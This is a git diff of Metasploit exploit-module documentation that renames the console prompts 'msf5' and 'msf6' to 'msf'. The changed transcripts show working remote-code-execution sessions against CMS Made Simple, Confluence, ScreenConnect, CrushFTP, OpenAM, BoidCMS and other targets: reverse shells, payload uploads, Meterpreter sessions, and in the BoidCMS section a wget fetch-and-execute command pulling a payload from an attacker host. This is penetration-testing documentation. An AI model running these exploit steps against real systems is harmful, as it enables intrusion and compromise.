6fc679448bcf7..b18b34a15a5ea 100644 --- a/documentation/modules/exploit/multi/http/cmsms_object_injection_rce.md +++ b/documentation/modules/exploit/multi/http/cmsms_object_injection_rce.md @@ -33,18 +33,18 @@ Affecting CMS Made Simple, version 2.2.6, 2.2.7, 2.2.8, 2.2.9, 2.2.9.1 ### Tested on CMS Made Simple (CMSMS) 2.2.8 ``` -msf5 > use exploit/multi/http/cmsms_object_injection_rce -msf5 exploit(multi/http/cmsms_object_injection_rce) > set rhosts target.com +msf > use exploit/multi/http/cmsms_object_injection_rce +msf exploit(multi/http/cmsms_object_injection_rce) > set rhosts target.com rhosts => target.com -msf5 exploit(multi/http/cmsms_object_injection_rce) > check +msf exploit(multi/http/cmsms_object_injection_rce) > check [*] 192.168.1.64:80 - The target appears to be vulnerable. -msf5 exploit(multi/http/cmsms_object_injection_rce) > set username daniele +msf exploit(multi/http/cmsms_object_injection_rce) > set username daniele username => daniele -msf5 exploit(multi/http/cmsms_object_injection_rce) > set password qwerty +msf exploit(multi/http/cmsms_object_injection_rce) > set password qwerty password => qwerty -msf5 exploit(multi/http/cmsms_object_injection_rce) > set targeturi /cmsms/ +msf exploit(multi/http/cmsms_object_injection_rce) > set targeturi /cmsms/ targeturi => /cmsms/ -msf5 exploit(multi/http/cmsms_object_injection_rce) > exploit +msf exploit(multi/http/cmsms_object_injection_rce) > exploit [*] Started reverse TCP handler on 192.168.1.64:4444 [*] Sending stage (38247 bytes) to 192.168.1.64 @@ -57,5 +57,5 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] 192.168.1.64 - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(multi/http/cmsms_object_injection_rce) > +msf exploit(multi/http/cmsms_object_injection_rce) > ``` diff --git a/documentation/modules/exploit/multi/http/cmsms_showtime2_rce.md b/documentation/modules/exploit/multi/http/cmsms_showtime2_rce.md index 9a46a406c4b5f..a2ebb149f0640 100644 --- a/documentation/modules/exploit/multi/http/cmsms_showtime2_rce.md +++ b/documentation/modules/exploit/multi/http/cmsms_showtime2_rce.md @@ -39,18 +39,18 @@ Affecting Showtime2 CMS Made Simple (CMSMS) module, version 3.6.2, 3.6.1, 3.6.0, ### Tested on Showtime 3.6.2 on CMS Made Simple (CMMS) 2.2.10 ``` -msf5 > use exploit/multi/http/cmsms_showtime2_rce -msf5 exploit(multi/http/cmsms_showtime2_rce) > set rhost target.com +msf > use exploit/multi/http/cmsms_showtime2_rce +msf exploit(multi/http/cmsms_showtime2_rce) > set rhost target.com rhost => target.com -msf5 exploit(multi/http/cmsms_showtime2_rce) > check +msf exploit(multi/http/cmsms_showtime2_rce) > check [*] Showtime2 version: 3.6.2 [*] 192.168.2.59:80 - The target appears to be vulnerable. -msf5 exploit(multi/http/cmsms_showtime2_rce) > set username Designer +msf exploit(multi/http/cmsms_showtime2_rce) > set username Designer username => Designer -msf5 exploit(multi/http/cmsms_showtime2_rce) > set password d3s1gn3r +msf exploit(multi/http/cmsms_showtime2_rce) > set password d3s1gn3r password => d3s1gn3r -msf5 exploit(multi/http/cmsms_showtime2_rce) > exploit +msf exploit(multi/http/cmsms_showtime2_rce) > exploit [*] Started reverse TCP handler on 10.0.8.2:4444 [*] Showtime2 version: 3.6.2 @@ -66,5 +66,5 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] 192.168.2.59 - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(multi/http/cmsms_showtime2_rce) > +msf exploit(multi/http/cmsms_showtime2_rce) > ``` diff --git a/documentation/modules/exploit/multi/http/cmsms_upload_rename_rce.md b/documentation/modules/exploit/multi/http/cmsms_upload_rename_rce.md index c2924900323b9..b209ddb8f16e2 100644 --- a/documentation/modules/exploit/multi/http/cmsms_upload_rename_rce.md +++ b/documentation/modules/exploit/multi/http/cmsms_upload_rename_rce.md @@ -25,14 +25,14 @@ ### CMS Made Simple v2.2.5 on Ubuntu 18.04 (PHP 7.2.7, Apache 2.4.9) ``` -msf5 > use exploit/multi/http/cmsms_upload_rename_rce -msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev +msf > use exploit/multi/http/cmsms_upload_rename_rce +msf exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev username => msfdev -msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev +msf exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev password => msfdev -msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.123 +msf exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.123 rhosts => 172.22.222.123 -msf5 exploit(multi/http/cmsms_upload_rename_rce) > run +msf exploit(multi/http/cmsms_upload_rename_rce) > run [*] Started reverse TCP handler on 172.22.222.194:4444 [*] Sending stage (37775 bytes) to 172.22.222.123 @@ -48,14 +48,14 @@ meterpreter > ### CMS Made Simple v2.2.5 on Windows 10 x64 (PHP 5.6.35, Apache 2.4.33) ``` -msf5 > use exploit/multi/http/cmsms_upload_rename_rce -msf5 exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev +msf > use exploit/multi/http/cmsms_upload_rename_rce +msf exploit(multi/http/cmsms_upload_rename_rce) > set username msfdev username => msfdev -msf5 exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev +msf exploit(multi/http/cmsms_upload_rename_rce) > set password msfdev password => msfdev -msf5 exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.175 +msf exploit(multi/http/cmsms_upload_rename_rce) > set rhosts 172.22.222.175 rhosts => 172.22.222.175 -msf5 exploit(multi/http/cmsms_upload_rename_rce) > run +msf exploit(multi/http/cmsms_upload_rename_rce) > run [*] Started reverse TCP handler on 172.22.222.194:4444 [*] Sending stage (37775 bytes) to 172.22.222.175 diff --git a/documentation/modules/exploit/multi/http/cockpit_cms_rce.md b/documentation/modules/exploit/multi/http/cockpit_cms_rce.md index 146d487047477..ceea8bb27ae7f 100644 --- a/documentation/modules/exploit/multi/http/cockpit_cms_rce.md +++ b/documentation/modules/exploit/multi/http/cockpit_cms_rce.md @@ -68,11 +68,11 @@ resource (cockpit.rb)> set rhosts 2.2.2.2 rhosts => 2.2.2.2 resource (cockpit.rb)> set verbose true verbose => true -msf6 exploit(multi/http/cockpit_cms_rce) > check +msf exploit(multi/http/cockpit_cms_rce) > check [*] Attempting Username Enumeration (CVE-2020-35846) [*] 2.2.2.2:80 - The target appears to be vulnerable. -msf6 exploit(multi/http/cockpit_cms_rce) > run +msf exploit(multi/http/cockpit_cms_rce) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Attempting Username Enumeration (CVE-2020-35846) @@ -84,9 +84,9 @@ msf6 exploit(multi/http/cockpit_cms_rce) > run #### Exploit user ``` -msf6 exploit(multi/http/cockpit_cms_rce) > set user asdf22 +msf exploit(multi/http/cockpit_cms_rce) > set user asdf22 user => asdf22 -msf6 exploit(multi/http/cockpit_cms_rce) > exploit +msf exploit(multi/http/cockpit_cms_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Attempting Username Enumeration (CVE-2020-35846) diff --git a/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md index e84b7d0ca2a15..ad27087473d97 100644 --- a/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md +++ b/documentation/modules/exploit/multi/http/coldfusion_ckeditor_file_upload.md @@ -26,12 +26,12 @@ ColdFusion 2016 (Update 6 and earlier), and ### Tested on Coldfusion 2018 v2018.0.0.310739 ``` -msf5 > use exploit/multi/http/coldfusion_ckeditor_file_upload -msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > set rhosts 172.22.222.142 +msf > use exploit/multi/http/coldfusion_ckeditor_file_upload +msf exploit(multi/http/coldfusion_ckeditor_file_upload) > set rhosts 172.22.222.142 rhosts => 172.22.222.142 -msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > set lhost 172.22.222.136 +msf exploit(multi/http/coldfusion_ckeditor_file_upload) > set lhost 172.22.222.136 lhost => 172.22.222.136 -msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > exploit +msf exploit(multi/http/coldfusion_ckeditor_file_upload) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [*] Uploading the JSP payload at /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/ASMK.jsp... @@ -44,5 +44,5 @@ uname -a Linux 6bd4238e7ffb 4.15.0-38-generic #41-Ubuntu SMP Wed Oct 10 10:59:38 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux exit [*] 172.22.222.142 - Command shell session 1 closed. -msf5 exploit(multi/http/coldfusion_ckeditor_file_upload) > +msf exploit(multi/http/coldfusion_ckeditor_file_upload) > ``` diff --git a/documentation/modules/exploit/multi/http/confluence_widget_connector.md b/documentation/modules/exploit/multi/http/confluence_widget_connector.md index 775161ddab3eb..8beb7a422b784 100644 --- a/documentation/modules/exploit/multi/http/confluence_widget_connector.md +++ b/documentation/modules/exploit/multi/http/confluence_widget_connector.md @@ -33,27 +33,27 @@ Affecting Atlassian Confluence before version 6.6.12, from version 6.7.0 before ## Scenarios ## Tested on Confluence 6.8.2 with Windows target ``` -msf5 > use exploit/multi/http/confluence_widget_connector -msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +msf > use exploit/multi/http/confluence_widget_connector +msf exploit(multi/http/confluence_widget_connector) > set RHOST target.com RHOST => target.com -msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +msf exploit(multi/http/confluence_widget_connector) > set RPORT 8090 RPORT => 8090 -msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +msf exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 SRVHOST => 192.168.0.1 -msf5 exploit(multi/http/confluence_widget_connector) > set TARGET Windows +msf exploit(multi/http/confluence_widget_connector) > set TARGET Windows TARGET => Windows -msf5 exploit(multi/http/confluence_widget_connector) > check +msf exploit(multi/http/confluence_widget_connector) > check [*] target.com:8090 - Starting the FTP server. [*] target.com:8090 - Started service listener on 192.168.0.1:8021 [+] target.com:8090 - The target is vulnerable. [*] target.com:8090 - Server stopped. -msf5 exploit(multi/http/confluence_widget_connector) > exploit +msf exploit(multi/http/confluence_widget_connector) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.0.1:4444 [*] target.com:8090 - Starting the FTP server. [*] target.com:8090 - Started service listener on 192.168.0.1:8021 -msf5 exploit(multi/http/confluence_widget_connector) > +msf exploit(multi/http/confluence_widget_connector) > [*] target.com:8090 - Target being detected as: Windows 10 [*] target.com:8090 - Attempting to upload C:\PROGRA~1\Atlassian\Confluence\temp\gAdGh.exe [*] target.com:8090 - Attempting to copy payload to C:\PROGRA~1\Atlassian\Confluence\temp\MRuDb.exe @@ -64,7 +64,7 @@ msf5 exploit(multi/http/confluence_widget_connector) > [!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\FFDBo.exe' on the target [!] This exploit may require manual cleanup of 'C:\PROGRA~1\Atlassian\Confluence\temp\JLzIZ.exe' on the target [*] target.com:8090 - Server stopped. -msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +msf exploit(multi/http/confluence_widget_connector) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -73,30 +73,30 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] target.com - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(multi/http/confluence_widget_connector) > +msf exploit(multi/http/confluence_widget_connector) > ``` ## Tested on Confluence 6.8.2 with Java target ``` -msf5 > use exploit/multi/http/confluence_widget_connector -msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +msf > use exploit/multi/http/confluence_widget_connector +msf exploit(multi/http/confluence_widget_connector) > set RHOST target.com RHOST => target.com -msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +msf exploit(multi/http/confluence_widget_connector) > set RPORT 8090 RPORT => 8090 -msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +msf exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 SRVHOST => 192.168.0.1 -msf5 exploit(multi/http/confluence_widget_connector) > check +msf exploit(multi/http/confluence_widget_connector) > check [*] target.com:8090 - Starting the FTP server. [*] target.com:8090 - Started service listener on 192.168.0.1:8021 [+] target.com:8090 - The target is vulnerable. [*] target.com:8090 - Server stopped. -msf5 exploit(multi/http/confluence_widget_connector) > exploit +msf exploit(multi/http/confluence_widget_connector) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.0.1:4444 [*] target.com:8090 - Starting the FTP server. [*] target.com:8090 - Started service listener on 192.168.0.1:8021 -msf5 exploit(multi/http/confluence_widget_connector) > +msf exploit(multi/http/confluence_widget_connector) > [*] target.com:8090 - Target being detected as: Linux [*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/EjpPf.jar [*] target.com:8090 - Attempting to execute /opt/atlassian/confluence/temp/EjpPf.jar @@ -105,7 +105,7 @@ msf5 exploit(multi/http/confluence_widget_connector) > [+] target.com:8090 -Deleted /opt/atlassian/confluence/temp/EjpPf.jar [*] target.com:8090 - Waiting for exploit to complete... [*] target.com:8090 - Server stopped. -msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +msf exploit(multi/http/confluence_widget_connector) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -114,30 +114,30 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] target.com - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(multi/http/confluence_widget_connector) > +msf exploit(multi/http/confluence_widget_connector) > ``` ## Tested on Confluence 6.8.2 with Linux target ``` -msf5 > use exploit/multi/http/confluence_widget_connector -msf5 exploit(multi/http/confluence_widget_connector) > set RHOST target.com +msf > use exploit/multi/http/confluence_widget_connector +msf exploit(multi/http/confluence_widget_connector) > set RHOST target.com RHOST => target.com -msf5 exploit(multi/http/confluence_widget_connector) > set RPORT 8090 +msf exploit(multi/http/confluence_widget_connector) > set RPORT 8090 RPORT => 8090 -msf5 exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 +msf exploit(multi/http/confluence_widget_connector) > set SRVHOST 192.168.0.1 SRVHOST => 192.168.0.1 -msf5 exploit(multi/http/confluence_widget_connector) > check +msf exploit(multi/http/confluence_widget_connector) > check [*] target.com:8090 - Starting the FTP server. [*] target.com:8090 - Started service listener on 192.168.0.1:8021 [+] target.com:8090 - The target is vulnerable. [*] target.com:8090 - Server stopped. -msf5 exploit(multi/http/confluence_widget_connector) > exploit +msf exploit(multi/http/confluence_widget_connector) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.0.1:4444 [*] target.com:8090 - Starting the FTP server. [*] target.com:8090 - Started service listener on 192.168.0.1:8021 -msf5 exploit(multi/http/confluence_widget_connector) > +msf exploit(multi/http/confluence_widget_connector) > [*] target.com:8090 - Target being detected as: Linux [*] target.com:8090 - Attempting to upload /opt/atlassian/confluence/temp/BYHzD [*] target.com:8090 - Attempting to copy payload to /opt/atlassian/confluence/temp/dESMnt @@ -148,7 +148,7 @@ msf5 exploit(multi/http/confluence_widget_connector) > [+] target.com:8090 - Deleted /opt/atlassian/confluence/temp/dESMnt [*] target.com:8090 - Waiting for exploit to complete... [*] target.com:8090 - Server stopped. -msf5 exploit(multi/http/confluence_widget_connector) > sessions -i 1 +msf exploit(multi/http/confluence_widget_connector) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -157,5 +157,5 @@ meterpreter > quit [*] Shutting down Meterpreter... [*] target.com - Meterpreter session 1 closed. Reason: User exit -msf5 exploit(multi/http/confluence_widget_connector) > +msf exploit(multi/http/confluence_widget_connector) > ``` diff --git a/documentation/modules/exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709.md b/documentation/modules/exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709.md index bd0151d890f11..b9de17926d091 100644 --- a/documentation/modules/exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709.md +++ b/documentation/modules/exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709.md @@ -42,15 +42,15 @@ value must not be empty and must be 8 characters or more. ### Windows In-Memory ``` -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 0 +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 0 target => 0 -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload windows/x64/meterpreter/reverse_tcp +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set LHOST eth0 +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set LHOST eth0 LHOST => eth0 -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.50 +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.50 RHOST => 192.168.86.50 -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709): @@ -82,9 +82,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check [*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows. -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -110,22 +110,22 @@ meterpreter > exit [*] Shutting down session: 1 [*] 192.168.86.50 - Meterpreter session 1 closed. Reason: Died -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > ``` #### Windows Command Note: The `FETCH_WRITABLE_DIR` should be set to a suitable value like `%TEMP%`. ``` -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 1 +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 1 target => 1 -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND CERTUTIL +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND CERTUTIL FETCH_COMMAND => CERTUTIL -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR %TEMP% +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR %TEMP% FETCH_WRITABLE_DIR => %TEMP% -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709): @@ -164,9 +164,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check [*] 192.168.86.50:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 23.9.7 running on Windows. -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -194,7 +194,7 @@ meterpreter > exit [*] Shutting down session: 3 [*] 192.168.86.50 - Meterpreter session 3 closed. Reason: User exit -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > ``` #### Linux Command @@ -204,17 +204,17 @@ our testing), so `CURL` may not be available, the `FETCH_COMMAND` can be set to should be set to a suitable value like `/tmp`. ``` -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.72 +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set RHOST 192.168.86.72 RHOST => 192.168.86.72 -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 2 +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set target 2 target => 2 -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND WGET +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_COMMAND WGET FETCH_COMMAND => WGET -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR /tmp +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > set FETCH_WRITABLE_DIR /tmp FETCH_WRITABLE_DIR => /tmp -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > show options Module options (exploit/multi/http/connectwise_screenconnect_rce_cve_2024_1709): @@ -252,9 +252,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > check [*] 192.168.86.72:8040 - The target appears to be vulnerable. ConnectWise ScreenConnect 20.3.31734 running on Linux. -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -283,5 +283,5 @@ meterpreter > exit [*] Shutting down session: 4 [*] 192.168.86.72 - Meterpreter session 4 closed. Reason: User exit -msf6 exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > +msf exploit(multi/http/connectwise_screenconnect_rce_cve_2024_1709) > ``` diff --git a/documentation/modules/exploit/multi/http/crushftp_rce_cve_2023_43177.md b/documentation/modules/exploit/multi/http/crushftp_rce_cve_2023_43177.md index 491abc98b0e29..a95aa03fc0e5c 100644 --- a/documentation/modules/exploit/multi/http/crushftp_rce_cve_2023_43177.md +++ b/documentation/modules/exploit/multi/http/crushftp_rce_cve_2023_43177.md @@ -60,7 +60,7 @@ The delay in seconds between attempts to download the session file (default 30). #### With an active administrator session ``` -msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.54 verbose=true +msf exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.54 verbose=true [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking CrushFTP Server @@ -106,7 +106,7 @@ Meterpreter : java/windows #### With an active non-privileged session (privilege escalation) ``` -msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.54 verbose=true +msf exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.54 verbose=true [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking CrushFTP Server @@ -183,7 +183,7 @@ Meterpreter : java/windows #### With an active administrator session ``` -msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.96 verbose=true +msf exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.96 verbose=true [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking CrushFTP Server @@ -227,7 +227,7 @@ Meterpreter : java/linux #### With an active non-privileged session (privilege escalation) ``` -msf6 exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.96 verbose=true +msf exploit(multi/http/crushftp_rce_cve_2023_43177) > exploit rhosts=192.168.101.96 verbose=true [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking CrushFTP Server diff --git a/documentation/modules/exploit/multi/http/cve_2021_35464_forgerock_openam.md b/documentation/modules/exploit/multi/http/cve_2021_35464_forgerock_openam.md index 014f3cf617cce..7a285338e4ed6 100644 --- a/documentation/modules/exploit/multi/http/cve_2021_35464_forgerock_openam.md +++ b/documentation/modules/exploit/multi/http/cve_2021_35464_forgerock_openam.md @@ -62,15 +62,15 @@ is susceptible to the same issue. #### OpenAM 14.6.3 on Ubuntu 20.04.2 x64 with Docker version 20.10.7 ``` -msf6 > use exploit/multi/http/cve_2021_35464_forgerock_openam +msf > use exploit/multi/http/cve_2021_35464_forgerock_openam [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > set LHOST docker0 +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > set LHOST docker0 LHOST => 172.18.0.1 -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > set RHOST 127.0.0.1 +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > set RPORT 7080 +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > set RPORT 7080 RPORT => 7080 -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > show options +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > show options Module options (exploit/multi/http/cve_2021_35464_forgerock_openam): @@ -104,9 +104,9 @@ Exploit target: 1 Linux Dropper -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > check +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > check [*] 127.0.0.1:7080 - The target appears to be vulnerable. -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > exploit +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > exploit [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -137,15 +137,15 @@ meterpreter > ### ForgeRock AM 6.5.3 on Ubuntu 20.04.2 x64 with Docker version 20.10.7 ``` -msf6 > use exploit/multi/http/cve_2021_35464_forgerock_openam +msf > use exploit/multi/http/cve_2021_35464_forgerock_openam [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > set LHOST docker0 +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > set LHOST docker0 LHOST => 172.18.0.1 -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > set RHOST 127.0.0.1 +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > set RPORT 8080 +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > set RPORT 8080 RPORT => 7080 -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > show options +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > show options Module options (exploit/multi/http/cve_2021_35464_forgerock_openam): @@ -179,7 +179,7 @@ Exploit target: 1 Linux Dropper -msf6 exploit(multi/http/cve_2021_35464_forgerock_openam) > exploit +msf exploit(multi/http/cve_2021_35464_forgerock_openam) > exploit [*] Started reverse TCP handler on 172.18.0.1:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -199,4 +199,4 @@ Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/multi/http/cve_2023_38836_boidcms.md b/documentation/modules/exploit/multi/http/cve_2023_38836_boidcms.md index abcd5d3089baf..8e8d153960dd8 100644 --- a/documentation/modules/exploit/multi/http/cve_2023_38836_boidcms.md +++ b/documentation/modules/exploit/multi/http/cve_2023_38836_boidcms.md @@ -72,7 +72,7 @@ The root of the web page BoidCMS manages. Empty string by default. ### BoidCMS on Ubuntu 22.04.1x64 ``` -msf6 exploit(multi/http/cve_2023_38836_boidcms) > show options +msf exploit(multi/http/cve_2023_38836_boidcms) > show options Module options (exploit/multi/http/cve_2023_38836_boidcms): @@ -115,7 +115,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/cve_2023_38836_boidcms) > run +msf exploit(multi/http/cve_2023_38836_boidcms) > run [*] Command to run on remote host: wget -qO /tmp/oEsnOArk http://10.5.135.201:8080/v3vZxR3P-stuKWjUe6pCeA; chmod +x /tmp/oEsnOArk; /tmp/oEsnOArk & [*] Fetch Handler listening on 10.5.135.201:8080 @@ -153,7 +153,7 @@ meterpreter > ### BoidCMS on Windows Server 2019x64 ``` -msf6 exploit(multi/http/cve_2023_38836_boidcms) > show options +msf exploit(multi/http/cve_2023_38836_boidcms) > show options Module options (exploit/multi/http/cve_2023_38836_boidcms): @@ -199,7 +199,7 @@ Exploit target: View the full module info with the info, or info -d 